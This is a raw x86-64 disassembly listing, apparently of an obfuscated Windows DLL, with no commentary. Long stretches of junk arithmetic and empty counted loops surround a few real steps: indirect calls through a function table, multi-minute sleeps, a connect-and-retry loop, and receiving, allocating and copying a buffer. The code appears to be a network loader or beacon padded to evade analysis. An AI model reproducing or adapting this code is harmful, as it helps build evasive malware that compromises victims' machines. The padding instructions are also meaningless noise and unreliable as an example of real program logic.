mov ecx, dword [rbp - 0x1a]
xor qword [rbp - 0x16], r11
sub rbx, rsi
mov rbx, r8
mov qword [rbp - 0x34], r10
leave
pop rbx
pop rsi
pop r14
pop r13
pop rdi
pop r15
pop r12
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x88]
mov r9d, 0
mov rax, qword [0x18000883c]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x208
xor qword [rbp - 0x128], r11
mov r8, qword [0x180008952]
cmp edx, dword [0x180008957]
jns 0x180002419
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800023f0
mov edx, dword [rbp - 0x51]
mov qword [rbp - 0xde], r10
mov r11, r10
mov qword [rbp - 0xb3], r11
mov ecx, eax
mov dword [rbp - 0x10d], ecx
mov dword [rbp - 0x1c1], eax
mov r10, qword [rbp - 0x1a3]
mov qword [rbp - 0x15f], r11
inc qword [rsp]
mov eax, 0xe624
cmp eax, dword [rsp]
jl 0x1800023bc
add rsp, 0x10
mov ecx, edx
mov eax, dword [rbp - 0x1fd]
mov rdx, rax
add dword [rbp - 0x81], edx
mov dword [rbp - 0x3c], ecx
sub qword [rbp - 0x1fc], r8
or dword [rbp - 0x38], edx
mov eax, dword [rbp - 0xa0]
mov qword [0x18000895b], r9
test rax, 0xfffffffff29ef509
jno 0x1800024ef
or eax, edx
xor ecx, dword [rbp - 0x11c]
mov rax, qword [rbp - 0xb1]
or r8, rdx
mov rdx, qword [rbp - 0x21]
mov r9, qword [rbp - 0x93]
xor edx, 0xd3a5
mov qword [rbp - 0x3c], r8
mov rdx, qword [rbp - 0xc1]
mov edx, dword [0x180008957]
add r11, r9
mov dword [rbp - 0x124], eax
mov edx, ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800024d5
mov eax, edx
mov eax, dword [0x180008956]
add r9, r10
add rcx, 0x4b88
mov edx, 0x1294
add rdx, 0xdfcf
xor qword [rbp - 0xf6], r11
mov r11, rax
mov qword [0x18000895b], rax
mov ecx, dword [rbp - 0x13b]
movzx eax, ah
xor qword [0x180008958], r8
mov ecx, dword [0x180008958]
movzx edx, dl
mov ax, word [rbp - 0x128]
inc qword [rsp]
mov edx, 0x8f6
cmp edx, dword [rsp]
jl 0x180002482
add rsp, 0x10
movzx edx, ch
mov r9, rdx
mov rdx, r11
mov dword [rbp - 0x68], eax
leave
lea rsi, [0x180008228]
mov r10, qword [rbp + 0x80]
call fcn.180005429
push rbp
mov rbp, rsp
sub rsp, 0x18
or qword [rbp - 0xd], r8
mov rcx, qword [rbp - 0xc]
or ecx, dword [rbp - 6]
mov r8, qword [rbp - 0xd]
lea r11, [rbp - 0xe]
and ecx, edx
and edx, 0xbec3
or qword [rbp - 0xb], r11
cmp rcx, rax
js 0x1800025ed
xor qword [rbp - 0xe], r10
sub ecx, dword [rbp - 0xb]
add qword [rbp - 9], r8
mov r8, qword [rbp - 0xa]
sub edx, dword [0x180008951]
movzx ecx, ah
movzx eax, ah
mov rdx, qword [rbp - 0xa]
mov rdx, r10
mov ecx, dword [rbp - 9]
mov qword [rbp - 8], r8
mov qword [rbp - 0xe], rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002597
mov rcx, qword [rbp - 5]
mov dword [rbp - 0xd], edx
and eax, dword [rbp - 3]
add r9, qword [rbp - 0xb]
sub edx, dword [0x18000894f]
add eax, dword [rbp - 9]
movzx ecx, ch
mov qword [rbp - 0xb], r8
mov r11, 0x8e0a
inc qword [rsp]
mov rcx, 0x91d
cmp qword [rsp], rcx
jle 0x18000256e
add rsp, 0x10
mov ecx, dword [rbp - 0xa]
mov ecx, edx
mov byte [rbp - 2], dh
mov dword [rbp - 8], eax
mov rax, 0x7f5
sub rax, qword [rbp - 0xa]
add r11, 0xe530
mov dword [rbp - 4], edx
and r9, qword [rbp]
mov r11, qword [rbp - 8]
or edx, dword [rbp - 3]
mov r8, qword [rbp - 2]
mov eax, dword [rbp - 0xc]
mov rax, qword [rbp - 5]
or rcx, r8
mov edx, eax
sub rcx, r10
add r11, 0xbc0c
movzx edx, ax
mov dword [0x18000894f], edx
leave
mov rcx, qword [0x180008220]
mov rdx, 0xea60
mov rax, qword [0x180008854]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x428
mov dword [rbp - 0x24a], edx
mov qword [0x18000894f], r11
mov ecx, edx
mov eax, 0xedcb
lea rax, [rbp - 0x3fb]
add dword [rbp - 0x6b], eax
mov ecx, eax
mov qword [rbp - 0x220], r8
mov ecx, eax
movzx edx, ch
mov r8, qword [rbp - 0x3b6]
sub r8, rcx
or rcx, r11
mov rcx, 0x830f
or r10, r11
mov edx, 0x9733
mov qword [rbp - 0x77], rdx
mov rcx, 0x700d
add rcx, qword [rbp - 0x308]
movzx ecx, cx
add dword [rbp - 0x159], ecx
xor rcx, qword [rbp - 0x1e5]
mov r8, qword [rbp - 0x3dd]
test dword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4], edx
je 0x18000279c
mov rcx, r11
mov edx, dword [rbp - 0x243]
add rcx, qword [rbp - 0x3b8]
xor rcx, qword [rbp - 0x315]
mov dword [0x180008957], ecx
and r8, qword [rbp - 0x16b]
mov rax, qword [rbp - 0x111]
lea r10, [rbp - 0x1ea]
sub r11, 0x24c5
xor r10, 0x75f5
mov rax, 0xe53a
mov eax, dword [rbp - 0x102]
movzx ecx, dx
mov edx, 0xfa5e
mov eax, ecx
mov qword [rbp - 0x344], rax
mov rcx, qword [rbp - 0x2bb]
and dword [rbp - 0x122], eax
mov ecx, dword [rbp - 0x3d2]
mov dword [rbp - 0x3c2], ecx
mov rax, qword [rbp - 0x2ff]
movzx eax, dx
mov r8, qword [rbp - 0x1b7]
mov ecx, dword [rbp - 0x159]
add r10, 0xcc3c
mov dword [rbp - 0x16f], eax
movzx eax, cl
mov ecx, eax
or eax, dword [rbp - 0x2bf]
mov qword [rbp - 0x13e], rdx
mov qword [rbp - 0x329], r11
add ecx, eax
add r10, 0x8533
mov qword [0x180008953], rax
add ecx, dword [rbp - 0x7d]
mov dword [rbp - 0x406], edx
mov dword [rbp - 0x2e5], edx
mov qword [rbp - 0x3eb], r11
mov r11, qword [rbp - 0x308]
mov eax, 0x8578
mov qword [rbp - 0x3f6], rax
mov dword [rbp - 0x373], edx
mov edx, 0x1ac6
sub eax, 0xfeb7
mov edx, dword [rbp - 0x279]
mov r8, rcx
mov dword [rbp - 0xf3], eax
mov r8, qword [rbp - 0x16]
test rcx, 0x2625d9ab
jne 0x1800027af
leave
mov rcx, 0x4006
mov rax, qword [0x1800088e4]
call rax
mov qword [0x180008210], rax
push rbp
mov rbp, rsp
sub rsp, 0x168
or r8, qword [rbp - 0x5f]
mov ecx, edx
xor rcx, r11
mov dword [rbp - 0x49], eax
mov dword [rbp - 0x9a], eax
and r8, rcx
mov edx, ecx
add r10, 0xee0
xor ecx, eax
sub dword [rbp - 0xd5], ecx
or r9, qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
mov dword [rbp - 0xf0], edx
sub rax, qword [rbp - 0x12a]
and edx, 0xc0ed
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800028bc
add eax, dword [rbp - 0x18]
mov rcx, qword [rbp - 0x42]
movzx eax, dh
mov eax, edx
movzx ecx, ah
mov ecx, dword [rbp - 0xf1]
mov r9, rcx
mov qword [rbp - 0xaa], rdx
mov r8, qword [rbp - 0x127]
add r11, qword [rbp - 0xc3]
mov qword [rbp - 0x15], rcx
mov edx, dword [rbp - 0x108]
mov dword [rbp - 0xe6], ecx
or r8, rax
and r10, qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
mov dword [rbp - 0x42], ecx
movzx edx, byte [0x180008958]
add rax, 0x952a
mov r9, qword [rbp - 0x8d]
sub eax, dword [rbp - 0xa1]
sub edx, ecx
and ecx, dword [rbp - 0x11]
mov r10, qword [rbp - 0x63]
mov eax, dword [rbp - 0x151]
xor ah, byte [0x180008951]
sub eax, ecx
or rax, r9
mov dword [rbp - 8], edx
mov eax, dword [rbp - 0xa]
or rax, qword [rbp - 0x66]
mov rdx, r8
add qword [rbp - 0xfb], rax
add r11, r10
inc qword [rsp]
cmp qword [rsp], 0x4878
jle 0x180002823
add rsp, 0x10
movzx eax, cx
mov ecx, eax
mov dword [rbp - 0x148], edx
mov cl, byte [rbp - 0x13d]
mov dword [rbp - 0x46], ecx
mov rax, qword [rbp - 0xc]
lea r8, [rbp - 0xb2]
mov eax, 0xbeb3
mov eax, dword [rbp - 0x10e]
sub ecx, 0xd08
leave
mov rcx, qword [0x180008210]
mov eax, dword [0x180008125]
mov dword [rcx], eax
mov word [rcx + 4], 2
add rcx, 6
lea rdx, [0x1800086b7]
mov rax, qword [0x1800088ec]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x98
or r9, qword [rbp - 0x84]
mov eax, ecx
mov rax, qword [rbp - 0x8a]
or dword [rbp - 0x70], ecx
and ecx, 0xbe2
or eax, dword [0x180008958]
mov dword [rbp - 0x1a], edx
add qword [rbp - 0x46], r10
mov qword [rbp - 0x76], r10
mov edx, ecx
add r9, r10
mov edx, dword [rbp - 0x86]
mov qword [rbp - 0x78], rdx
xor dword [rbp - 6], eax
mov dword [rbp - 0x7f], ecx
mov dword [rbp - 0x5b], ecx
mov r8, r9
sub eax, dword [rbp - 0x63]
mov dword [rbp - 0x7e], eax
mov rax, r11
and dword [rbp - 6], edx
movzx ecx, cl
or r10, r8
mov r11, qword [rbp - 0x20]
or eax, dword [rbp - 0x77]
mov qword [rbp - 0x7d], r10
mov dword [rbp - 0x7f], eax
mov ecx, dword [0x180008952]
mov rdx, qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
mov qword [rbp - 0x47], rax
movzx ecx, cx
or eax, dword [rbp - 0x17]
mov qword [rbp - 0x42], rax
mov dword [rbp - 0x35], edx
add dword [rbp - 0x21], edx
mov rdx, 0x2105
mov edx, ecx
mov qword [rbp - 0x82], r9
mov ecx, dword [rbp - 0x72]
mov dword [rbp - 0x6f], ecx
or dword [rbp - 0x55], ecx
mov r10, qword [rbp - 2]
and rdx, qword [rbp - 0x7c]
movzx ecx, byte [rbp - 0x14]
mov eax, dword [rbp - 0x53]
or dword [rbp - 0x38], eax
and r11, rax
mov ecx, eax
movzx ecx, cl
add qword [rbp - 0x84], r9
sub eax, ecx
mov qword [rbp - 0x8c], r9
mov qword [rbp - 0x20], r9
lea r10, [rbp - 0x6a]
and edx, dword [rbp - 0x48]
sub dword [rbp - 0x4d], edx
and eax, dword [rbp - 9]
mov edx, ecx
mov qword [rbp - 0x36], rdx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002a3a
movzx eax, dl
mov qword [rbp - 0x15], r8
add qword [rbp - 0x87], r8
mov rcx, qword [rbp - 0x81]
inc qword [rsp]
cmp qword [rsp], 0x8cc2
jle 0x180002a21
add rsp, 0x10
leave
mov rdx, qword [0x180008210]
add rdx, 0xc
mov rcx, qword [rbp + 0x88]
mov r8, 0x4000
jmp 0x180002b29
lea r9, [0x180008218]
mov qword [rsp + 0x20], 0
mov rax, qword [0x180008844]
call rax
add qword [0x180008218], 0xc
push r15
push r13
push r14
push rsi
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x428
mov r8, qword [rbp - 0x28c]
mov r9, qword [rbp - 0x3e8]
movzx eax, byte [0x180008958]
mov r14, 0x8333
mov esi, ecx
or esi, eax
mov dword [rbp - 0x9d], eax
movzx ecx, dl
mov qword [rbp - 0x1f8], r10
mov rsi, qword [rbp - 0x20]
mov eax, ecx
mov rcx, qword [rbp - 0x200]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002c2b
or rcx, r8
mov qword [rbp - 0x3e], r11
mov qword [rbp - 0x28e], rdx
movzx eax, dl
mov edx, ecx
mov r10, qword [rbp - 0x3d5]
or edx, edi
sub qword [rbp - 0xf1], rsi
mov r10, qword [rbp - 0x364]
mov r11, rdi
mov r9, qword [rbp - 0x146]
mov ecx, dword [rbp - 0xc9]
mov dword [rbp - 0xe3], esi
movzx edx, dh
mov edx, dword [rbp - 0x2f2]
movzx edx, al
add rcx, 0x1f0c
mov rcx, qword [rbp - 0xf5]
mov eax, dword [rbp - 0x14]
add ecx, dword [rbp - 0x168]
mov dword [rbp - 0x315], esi
mov edi, dword [rbp - 0x13d]
and r11, rdi
movzx ecx, ax
mov esi, 0x89f
add edx, eax
inc qword [rsp]
cmp qword [rsp], 0xdb0d
jle 0x180002bab
add rsp, 0x10
mov eax, 0xe502
mov esi, dword [rbp - 0x1b1]
mov byte [rbp - 0xe1], al
mov r9, rax
or r9, qword [rbp - 0x13f]
mov qword [rbp - 0x2fb], rax
sub eax, 0x4e22
mov eax, dword [0x18000895b]
add dword [rbp - 0x172], ecx
mov ecx, dword [rbp - 0x260]
sub qword [rbp - 0x32c], r10
sub dword [rbp - 0x204], edx
mov edi, ecx
cmp ecx, 0x846d862b
je 0x180002cfc
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002ce1
sub r9, rax
mov esi, dword [rbp - 0x2ae]
or qword [rbp - 0xeb], r11
add ecx, eax
sub dword [rbp - 0x35], eax
sub qword [rbp - 0x66], r14
mov qword [rbp - 0x1b], rsi
mov edx, dword [rbp - 0x360]
mov edx, 0x9958
mov dword [rbp - 0xa7], esi
mov rdx, 0x456d
mov r11, rcx
mov edi, eax
movzx esi, dh
mov eax, ecx
mov r14, r13
inc qword [rsp]
cmp qword [rsp], 0x1a7b
jle 0x180002c9b
add rsp, 0x10
mov ecx, dword [rbp - 0xd8]
mov rdx, qword [rbp - 0x12f]
mov rsi, qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
mov qword [rbp - 0x9d], r10
leave
pop rdi
pop rsi
pop r14
pop r13
pop r15
lea rbp, [rsp + 0x200]
mov rcx, qword [0x180008210]
lea rdx, [0x180008393]
mov rax, qword [0x180008904]
call rax
cmp rax, 0
jne 0x180006c23
push rbp
mov rbp, rsp
sub rsp, 0x3a8
mov eax, dword [rbp - 0x377]
sub dword [rbp - 0x15d], eax
movzx eax, ah
movzx eax, byte [rbp - 0x2b7]
mov rax, r10
add r10, qword [rbp - 0xbf]
mov r10, rcx
xor dword [rbp - 0xff], edx
sub eax, dword [rbp - 0x1b4]
mov qword [rbp - 0x21e], r10
mov qword [rbp - 0x12e], rax
add ecx, 0xec21
add dword [rbp - 0x7c], ecx
mov eax, dword [rbp - 0x337]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002dbc
sub r10, qword [rbp - 0x192]
mov edx, eax
add qword [0x18000894e], r8
xor rcx, qword [rbp - 0x212]
inc qword [rsp]
cmp qword [rsp], 0x72a7
jle 0x180002da1
add rsp, 0x10
mov dword [rbp - 0x1d6], ecx
mov r9, qword [rbp - 0x36d]
movzx eax, dh
add rcx, r8
mov qword [rbp - 0x2d2], rax
mov edx, eax
mov ecx, dword [rbp - 0xf3]
mov qword [rbp - 0x28d], r11
mov r10, qword [0x180008951]
add edx, eax
mov ecx, dword [rbp - 0x19a]
sub eax, 0xfc9e
mov qword [rbp - 0x123], rcx
mov r11, qword [rbp - 0x4a]
or qword [rbp - 0x81], rdx
mov r11, rdx
mov qword [rbp - 0x359], rcx
movzx eax, byte [rbp - 0x371]
mov dword [rbp - 0x34], eax
add r9, rax
xor eax, dword [rbp - 0x113]
mov eax, dword [rbp - 0x170]
or eax, ecx
mov ecx, dword [rbp - 0x1f4]
cmp dh, 0xa8
je 0x180002f0e
mov qword [rbp - 0x14e], r8
movzx edx, word [rbp - 0x358]
mov cx, word [rbp - 0xe6]
mov edx, dword [rbp - 0x30b]
add rax, 0x3642
mov qword [0x18000894e], rax
mov qword [rbp - 0x1f2], rdx
mov r11, 0x6251
mov rdx, r11
sub ecx, eax
or qword [0x18000894d], rcx
sub qword [rbp - 0xd1], rcx
mov qword [rbp - 0x367], r9
mov ecx, edx
mov qword [rbp - 0x273], rdx
add dword [rbp - 0x2b1], ecx
sub qword [0x180008951], r10
mov eax, dword [rbp - 0x17]
mov edx, eax
movzx ecx, word [rbp - 0x2ec]
mov rdx, rax
mov dword [rbp - 0x1d7], ecx
mov dword [rbp - 0x11d], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002efd
mov r10, r9
mov r11, qword [rbp - 0x384]
mov ecx, 0x1046
xor r10, rdx
lea rax, [rbp - 0x10]
movzx ecx, byte [rbp - 0x1d5]
inc qword [rsp]
mov rcx, 0xdcc1
cmp qword [rsp], rcx
jle 0x180002edc
add rsp, 0x10
leave
mov rdi, qword [0x180008210]
add rdi, 6
movsxd rsi, dword [0x180008218]
mov r12, 0x78
call fcn.1800047c9
mov rcx, 0x3e8
mov rax, qword [0x18000884c]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x498
mov dword [rbp - 0x287], edx
xor r11, r8
mov r11, qword [0x18000894e]
mov edx, dword [rbp - 0x13b]
mov r8, qword [0x180008950]
and r9, rdx
movzx ecx, word [rbp - 0x20e]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000302d
mov dword [rbp - 0x17b], edx
or eax, dword [rbp - 0x2c7]
mov rdx, rcx
mov edx, ecx
mov rax, qword [rbp - 0x1cf]
sub qword [rbp - 0x2df], r8
add rdx, qword [0x18000895b]
mov ecx, dword [0x180008953]
mov r9, qword [0x180008958]
add dword [0x180008958], eax
mov qword [rbp - 0x96], r11
mov qword [rbp - 0x418], rdx
mov r11, r8
sub dword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4], eax
lea r11, [rbp - 0x1a4]
movzx eax, cl
mov ecx, dword [rbp - 0x242]
mov qword [rbp - 0x87], r11
lea r8, [0x180008953]
mov qword [rbp - 0x3ac], r9
mov eax, dword [rbp - 0x11f]
add edx, eax
add r11, 0xe2d6
mov qword [rbp - 0xaa], rdx
and cl, byte [0x18000895b]
mov rax, qword [rbp - 0x1b1]
add rax, rdx
mov qword [rbp - 0x3fb], r8
movzx ecx, byte [0x180008956]
inc qword [rsp]
mov rcx, 0x2c17
cmp qword [rsp], rcx
jle 0x180002f80
add rsp, 0x10
mov dword [rbp - 0x43a], edx
sub edx, 0x4b51
mov qword [rbp - 0x463], rdx
mov edx, dword [0x180008950]
mov eax, ecx
xor eax, dword [rbp - 0x471]
mov eax, dword [rbp - 0x3eb]
add qword [rbp - 0x306], rax
xor qword [rbp - 0x4d], rdx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800030aa
add qword [rbp - 0x45c], rax
mov rdx, 0x547
mov r8, rax
mov ecx, dword [rbp - 0x1ef]
sub qword [rbp - 0x431], rcx
add edx, dword [rbp - 0x85]
inc qword [rsp]
mov eax, 0x658b
cmp eax, dword [rsp]
jl 0x180003082
add rsp, 0x10
mov qword [rbp - 0x3cc], r11
or eax, dword [rbp - 0x14a]
mov qword [rbp - 0x49], r8
or qword [rbp - 0x3a], r8
movzx edx, ax
mov edx, dword [0x180008959]
movzx eax, dh
xor eax, dword [rbp - 0x30b]
mov rdx, qword [rbp - 0x47f]
mov ecx, edx
mov ecx, dword [rbp - 0x303]
cmp r8, qword [0x180008950]
jo 0x180003121
mov edx, eax
movzx eax, byte [rbp - 0xec]
add r8, 0x5d
movzx ecx, byte [rbp - 0x278]
mov r8, qword [rbp - 0x1c1]
mov eax, ecx
sub qword [rbp - 0x2f0], r9
mov dword [rbp - 0x22f], eax
leave
cmp qword [0x180008205], 0
je 0x180003147
mov rcx, qword [0x180008205]
mov rax, qword [0x1800088d4]
call rax
mov qword [0x180008205], 0
cmp qword [0x1800086af], 0xffffffffffffffff
je 0x180003334
jne 0x180003309
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x388
mov rdx, qword [rbp - 0x37e]
xor qword [0x180008958], rax
mov dword [rbp - 0x35d], esi
and qword [0x180008954], r11
movzx edx, cl
movzx ecx, al
mov esi, dword [rbp - 0xd0]
movzx edx, byte [rbp - 0x17c]
mov ax, word [rbp - 0x27]
and qword [rbp - 0x106], r8
mov r8, qword [rbp - 0x165]
lea rcx, [0x18000894f]
add eax, edx
mov qword [rbp - 0x2e3], r11
or dl, byte [rbp - 0xba]
mov dword [rbp - 0x29b], edx
and ecx, dword [rbp - 0x2fa]
mov dword [0x180008952], ecx
mov qword [rbp - 0x14d], rsi
mov rcx, r9
mov qword [rbp - 0x162], r10
mov rsi, r9
and rsi, 0xb606
mov rdx, rax
mov edx, eax
add esi, 0x336d
sub qword [rbp - 0x311], rcx
add eax, 0x7bab
mov dword [rbp - 0x31b], edx
cmp rax, qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
jb 0x180003253
sub edx, 0x8daf
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003245
mov dword [rbp - 0x23b], ecx
call fcn.180003256
or eax, 0x31d1
and rdx, r11
lea r11, [rbp - 0x1bf]
mov dword [rbp - 0x1f], ecx
inc qword [rsp]
mov eax, 0x1600
cmp eax, dword [rsp]
jl 0x180003224
add rsp, 0x10
leave
pop rsi
ret
mov rcx, qword [0x1800086af]
mov rax, qword [str._tNoXO_nc]
call rax
mov qword [0x1800086af], 0xffffffffffffffff
mov rcx, 0x493e0
mov rax, qword [0x18000884c]
call rax
call 0x180006d68
cmp rax, 0xffffffffffffffff
je 0x180002f2d
mov qword [0x1800086af], rax
push rbp
mov rbp, rsp
sub rsp, 0x168
movzx edx, byte [rbp - 0xaf]
xor qword [rbp - 0x38], r10
xor edx, ecx
test rdx, 0x3757266f
jmp 0x1800034b0
mov rax, 0x90da
mov eax, dword [rbp - 0x57]
mov ecx, dword [rbp - 0x12]
and edx, dword [rbp - 0x129]
mov eax, edx
mov edx, dword [rbp - 0xfa]
xor cx, word [rbp - 0x14c]
mov qword [rbp - 0xb3], rax
leave
mov rcx, 0x200
add rcx, qword [0x180008218]
mov rax, qword [0x1800088e4]
call rax
mov qword [0x1800081ae], rax
mov rcx, rax
lea rdx, [0x180008134]
mov r8, qword [0x18000812c]
mov r9, qword [0x180008218]
mov rax, qword [0x1800088ec]
call rax
mov qword [0x1800081b6], rax
mov rcx, qword [0x180008218]
add qword [0x1800081b6], rcx
mov rcx, qword [0x1800081ae]
add rcx, rax
mov rdx, qword [0x180008210]
mov r8, qword [0x180008218]
mov rax, qword [0x18000890c]
call rax
push r12
push r14
push rdi
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x3e8
and esi, dword [rbp - 0x395]
mov rdx, qword [rbp - 0x133]
sub rdx, 0xbe4a
mov si, word [rbp - 0x3db]
mov r11, qword [rbp - 0x340]
mov dword [rbp - 0x1eb], eax
mov dword [rbp - 0x204], edi
mov dword [rbp - 0x1e5], ecx
mov edi, dword [rbp - 1]
add dword [0x180008957], edi
mov esi, eax
mov dword [rbp - 0x5d], edi
mov rdx, r8
mov edi, eax
or r14, r10
mov r14, qword [rbp - 0x307]
mov dword [rbp - 0xaa], eax
mov edi, dword [rbp - 0x122]
mov r14, 0x42cf
mov esi, dword [rbp - 0x104]
mov ecx, eax
mov dword [rbp - 0x393], esi
mov r11, rsi
mov eax, dword [rbp - 0x27e]
mov qword [rbp - 0x359], rax
mov dword [rbp - 0x17a], edx
sub qword [rbp - 0x1d9], rcx
xor qword [rbp - 0x368], r12
movzx edi, dh
mov rcx, rsi
mov ecx, dword [0x180008951]
movzx edx, byte [0x180008952]
mov rsi, r10
mov ax, cx
movzx esi, cl
sub eax, 0xb203
mov qword [rbp - 0x240], rdx
mov dword [rbp - 0x144], eax
cmp eax, dword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
jne 0x1800036dc
and qword [rbp - 0x2ad], rax
mov r10, rdi
add r11, 0xb165
movzx eax, dl
mov byte [rbp - 0x29], dl
mov dword [rbp - 0x15a], esi
mov eax, ecx
movzx esi, al
mov qword [rbp - 0x32e], r12
mov eax, esi
mov dword [rbp - 0x274], eax
mov qword [0x180008953], rcx
mov rsi, r8
lea rax, [rbp - 0x22f]
mov r9, rdi
mov qword [rbp - 0x92], r9
mov rsi, qword [0x180008958]
movzx ecx, dh
xor esi, 0xc6ce
xor eax, edi
cmp rcx, qword [0x180008954]
jns 0x1800036dc
movzx eax, di
add rdx, qword [rbp - 0x8c]
or edx, dword [rbp - 0x30e]
mov r14, r10
sub r11, 0x85b6
mov rsi, 0x7a55
and qword [rbp - 0x286], rdi
add r11, qword [0x180008954]
movzx eax, di
xor rsi, r14
sub r12, qword [rbp - 0x1da]
xor ecx, dword [rbp - 0x19b]
movzx edx, di
leave
pop rsi
pop rdi
pop r14
pop r12
mov qword [rbp - 0xbe], 0
mov rcx, qword [0x1800086af]
mov rdx, qword [0x1800081ae]
mov r8, qword [0x1800081b6]
inc r8
mov r9, 0
mov rax, qword [0x18000889c]
call rax
push rax
push rax
mov rcx, qword [0x1800081ae]
mov rax, qword [0x1800088d4]
call rax
push r15
push rbp
mov rbp, rsp
sub rsp, 0x2d8
movzx ecx, ch
mov eax, dword [rbp - 0xa4]
mov qword [rbp - 0x22e], rdx
mov qword [rbp - 0x22e], r9
add ecx, dword [rbp - 0x1fb]
mov eax, dword [rbp - 0x249]
add rdx, r15
or dword [rbp - 0x2a4], eax
mov qword [rbp - 0x1df], rax
mov rax, qword [rbp - 0x15d]
mov qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4], rax
or rax, qword [rbp - 0x14c]
add qword [rbp - 0x4a], rax
mov r10, qword [rbp - 0x40]
add edx, dword [rbp - 0x18b]
mov r8, qword [rbp - 0x10b]
add edx, dword [rbp - 0xda]
mov dword [rbp - 0x84], edx
mov eax, dword [rbp - 0x46]
add eax, dword [rbp - 0xba]
mov r9, qword [rbp - 0x6f]
and eax, dword [rbp - 0xca]
and dword [rbp - 0xc7], edx
sub eax, dword [rbp - 2]
sub ecx, dword [0x180008953]
mov edx, dword [rbp - 0x80]
add rdx, rcx
sub qword [rbp - 0xd9], rdx
mov r8, qword [rbp - 0x163]
cmp edx, eax
jne 0x1800038b2
mov dword [rbp - 0x263], ecx
cmp r10, qword [0x180008950]
jmp 0x1800038b2
leave
pop r15
pop rax
pop rax
cmp eax, 0
jle 0x180002f2d
push r15
push rsi
push rbx
push r14
push r12
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x18
lea rsi, [rbp - 2]
mov r11, qword [rbp - 5]
or dword [0x18000895a], eax
cmp ecx, ebx
jb 0x180003918
mov ecx, dword [rbp - 0xc]
mov ebx, dword [0x180008954]
movzx edx, ah
sub eax, dword [rbp - 5]
mov edx, dword [rbp - 8]
mov qword [rbp - 9], rsi
add r10, qword [rbp - 1]
mov r10, qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
mov edx, edi
mov dword [rbp - 0xb], eax
sub qword [rbp - 9], rcx
or edi, dword [rbp - 5]
sub qword [rbp - 0xc], r14
or qword [rbp - 0xe], r10
add ecx, dword [rbp - 6]
sub al, byte [rbp - 1]
mov eax, ebx
add dword [0x180008959], ecx
mov ebx, dword [rbp - 1]
mov rcx, 0xd759
mov edx, ebx
mov dword [rbp - 4], edx
mov rax, qword [rbp - 5]
movzx edx, dl
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000394e
inc qword [rsp]
mov edx, 0xae29
cmp edx, dword [rsp]
jl 0x18000394a
add rsp, 0x10
mov edx, dword [rbp - 1]
mov qword [rbp - 0xc], r14
mov ecx, dword [0x18000895b]
test r8, 0x1f89ee68
je 0x1800039ef
mov rdx, qword [rbp]
mov qword [rbp - 0xa], r11
mov dword [rbp - 0xb], esi
mov r10, qword [rbp - 8]
and qword [rbp - 0xb], r15
mov rcx, 0x74b6
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800039e1
mov dword [rbp - 4], eax
lea rdx, [rbp - 5]
mov edi, ecx
mov esi, dword [rbp - 5]
or qword [rbp - 0xf], r9
movzx edi, byte [rbp - 1]
mov r11, r10
mov edx, dword [rbp]
add r11, rdx
add ebx, dword [rbp - 6]
add qword [rbp - 0xc], r15
and ebx, eax
mov qword [rbp - 0xf], r10
mov qword [rbp - 0xb], rcx
mov edi, dword [rbp - 0xc]
mov ebx, dword [rbp - 5]
or qword [rbp - 0xa], rsi
mov dword [rbp - 6], ecx
mov qword [rbp - 0xf], r11
add r10, qword [rbp - 9]
inc qword [rsp]
cmp qword [rsp], 0x356a
jle 0x18000399a
add rsp, 0x10
leave
pop rdi
pop r12
pop r14
pop rbx
pop rsi
pop r15
call fcn.180006e24
cmp eax, 0xffffffff
je 0x180002f2d
mov rbx, qword [0x180008205]
mov dword [rbp - 0xbe], eax
push rax
push rax
push rbp
mov rbp, rsp
sub rsp, 0x68
mov dword [rbp - 0x15], ecx
mov eax, dword [rbp - 4]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003a44
xor dword [rbp - 0x58], ecx
add ecx, 0xcaf8
mov ecx, eax
mov eax, dword [rbp - 0x29]
inc qword [rsp]
mov r10, 0x605f
